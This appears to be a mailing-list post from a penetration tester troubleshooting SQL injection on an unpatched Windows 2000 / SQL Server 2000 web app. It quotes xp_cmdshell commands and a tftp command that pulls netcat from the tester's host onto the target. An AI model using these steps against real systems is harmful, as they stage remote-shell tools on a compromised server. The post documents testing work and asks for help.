Hi, I am testing a Web App vulnerable to SQL Injection. It is hosted in a Windows 2000 SP4 and SQL 2000 with no patches.While trying to use the xp_cmdshell to upload nc.exe from my tftpd server to the Webserver, I experienced some problems.
I was able to execute xp_cmdshell 'echo a > c:\a.txt' . File is created.As administrator (using a windows cmd.exe shell) I ran "tftp -i myHost GET nc.exe c:\nc.exe". File is downloaded.
When I tried it through the wep app it failed. I tried directly through SQL Query Analizer and it also failed.
SQL is running as a low priviledged account (sqlsvc)...Then I ran (as Administrator) "runas /user:sqlsvc tftp -i myHost GET nc.exe c:\nc.exe" and IT FAILED.!!
I can easily deduce that the problem is the TFTP client (tftp.exe)... Any Ideas? _________________________________________________________________Moda para esta temporada. Ponte al día de todas las tendencias. http://www.msn.es/Mujer/moda/default.asp
